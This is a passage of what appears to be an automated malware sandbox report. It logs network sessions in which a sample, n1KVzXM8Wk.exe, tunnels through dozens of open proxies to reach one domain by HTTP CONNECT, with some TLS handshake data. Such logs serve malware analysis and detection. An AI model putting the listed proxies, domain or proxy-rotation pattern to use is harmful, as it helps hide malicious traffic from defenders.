995	192.168.2.4	52890	175.183.82.221	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.502193928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.4	52916	138.197.208.93	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.502194881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.657547951 CET	149	IN	HTTP/1.1 301 Moved Permanently Location: //heygirlisheeverythingyouwantedinaman.com:443/ Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.4	52870	123.233.245.158	9080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.502211094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.860691071 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.4	50297	41.160.23.114	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.550621986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.4	51069	8.218.159.17	19001	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.562407970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.4	50982	111.68.127.170	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.572025061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.4	52929	45.81.232.17	9165	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.572051048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.121985912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740921974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.4	51126	91.134.140.160	8879	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.592134953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.975070953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.365883112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178379059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.682979107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178982973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.4	51342	141.94.174.6	2450	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.592204094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.4	50970	103.10.99.110	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.592788935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.4	52662	104.19.217.219	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.605834007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.693223000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.4	52841	111.53.178.249	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.606426001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.903552055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.4	50462	161.97.170.209	24606	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.608644962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.682871103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.865900040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.882149935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.881191015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:59.881187916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:11.943718910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.4	51103	54.38.179.162	13693	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.608851910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.4	52601	148.72.211.168	28658	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.630347967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.4	52957	172.67.35.15	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.666754961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.754050016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.4	50473	94.232.11.178	46449	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.667334080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.999129057 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.4	50506	162.144.32.209	23847	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.688668966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.865756989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.866218090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.881923914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.881371021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:59.881280899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:11.943722963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.4	52932	151.232.18.66	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.692089081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.4	52670	148.72.177.90	63853	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.692131996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.701097965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.834714890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.4	52934	8.213.129.15	9999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.725049973 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.4	52832	199.229.254.129	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.725055933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.4	51263	212.42.116.161	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.735515118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.4	51359	5.2.76.163	17000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.735814095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.508497953 CET	161	IN	HTTP/1.1 503 Too many open connections Proxy-Agent: Privoxy 3.0.21 Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.4	50394	115.144.163.198	20986	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.736176014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.834467888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.834988117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.425519943 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.4	52993	172.67.190.93	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.740015030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.4	52950	31.170.22.127	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.740212917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.4	52938	58.234.116.197	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.741276979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.4	52936	210.211.113.34	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.788537025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.159403086 CET	194	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:23 GMT Proxy-Connection: close Via: http/1.1 edgep-06.infra.viettelcdn.com (0.fd8fb8633.el8 [uSc s f p eN:tMc p s ]) Server: 0.fd8fb8633.el8
Feb 23, 2024 09:45:24.210074902 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 23 f4 64 aa 05 3b 48 d5 f7 2b d0 bf d2 99 e3 7a e7 85 af 19 6d d6 cd 82 72 29 96 17 5c 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[#d;H+zmr)\*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 09:45:24.592202902 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 24 3f a1 70 eb a0 2b fb 9d 5d 4c fe 3a ac 27 0c cf b8 98 45 d7 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[$?p+]L:'EDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:24.592221975 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 09:45:24.592232943 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 09:45:24.592242002 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 09:45:24.707439899 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 8f 58 58 e6 56 74 1e ef 8f c4 79 c3 5c 7b f2 51 ef cc 1b db 3b d0 1a ba 67 53 09 83 fc 23 89 45 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 1d f4 f2 58 7f 4d f5 cb 09 ca bd d0 bf f1 a7 56 a4 cc 15 86 04 Data Ascii: %! XXVty\{Q;gS#E(XMV,Q=@P;
Feb 23, 2024 09:45:25.078300953 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 3b ec ea 22 b9 7a a8 ed aa b5 49 1a 40 dd fc 8d 36 20 cb 8f af 81 4f 91 c5 81 ba 5b 7a 2c 19 ce b0 b1 91 b5 33 70 85 6e 57 fb fe 6d e5 70 f1 ca 43 59 63 cb f2 65 b1 d1 90 96 3c b7 4f 6e f8 81 83 2c 82 Data Ascii: ;"zI@6 O[z,3pnWmpCYce<On,1 }0#2lPnSP"<$) ym^59[)7xcX[XlA)JP%J'U!-n%M",)(H?#JXZc;
Feb 23, 2024 09:45:25.109787941 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 09 2d 2f f9 1e 61 05 dc 7a b9 60 97 f8 1b f7 51 0e b2 d7 7e 0a 95 94 e5 01 20 eb 9c 71 fa 01 b9 2b f6 d1 0b 9f 7e d2 9d ac a3 1a 54 22 b8 a5 ee 65 49 2b a2 35 b5 af a6 22 b4 44 7e cb 7c 27 00 25 36 2a 85 f6 Data Ascii: -/az`Q~ q+~T"eI+5"D~\|'%6*`xoDi&E0$OFL5-qkI6?#gU^r
Feb 23, 2024 09:45:25.885550976 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 77 0e 97 99 ab a9 61 2c 21 fd 97 ed bd fe 3c 43 67 f4 7d fd 69 e0 2d 3e 92 cc d4 6b 3c d1 87 07 05 a5 fb 1f 92 64 68 26 ee 39 6c d1 fe 2a 73 7b 5a 44 e6 2e e2 cc c7 b2 0f dd dd 5f 15 e8 0b 42 0a ed 01 63 88 Data Ascii: qwa,!<Cg}i->k<dh&9ls{ZD._BcC3l@KSS}^uqdQ`iRcF}Tk'NJ7J1E&:cM}PYAYfzu)KVL-SDIW&CkUy>/RXM
Feb 23, 2024 09:45:25.885586977 CET	1286	IN	Data Raw: b8 5f 40 04 d7 bb 03 88 04 cc 3f 55 55 6f 1d 37 7f c2 dd f9 8b a1 7e 25 7b 47 9d 98 57 54 99 ed 45 f6 08 9d 0c 74 0d 9a fa 37 dd 08 dd e1 3f 4f 54 9a cf 4c d4 6b 0c 8f c9 b7 be 31 60 ac c9 3a bc c8 5d 45 cc c3 a2 3c 0d 51 b2 43 f2 fc 8c 8b c8 a1 Data Ascii: _@?UUo7~%{GWTEt7?OTLk1`:]E<QCi-9s\8iD9&_"q!77vegMm)XUDh("ece.g&/*h)Kv_9>@@P]$b$O7Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.4	53004	172.67.190.93	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.789378881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.4	52935	1.15.62.12	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.790512085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.4	52726	167.172.159.43	48983	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.790666103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.865840912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.866239071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
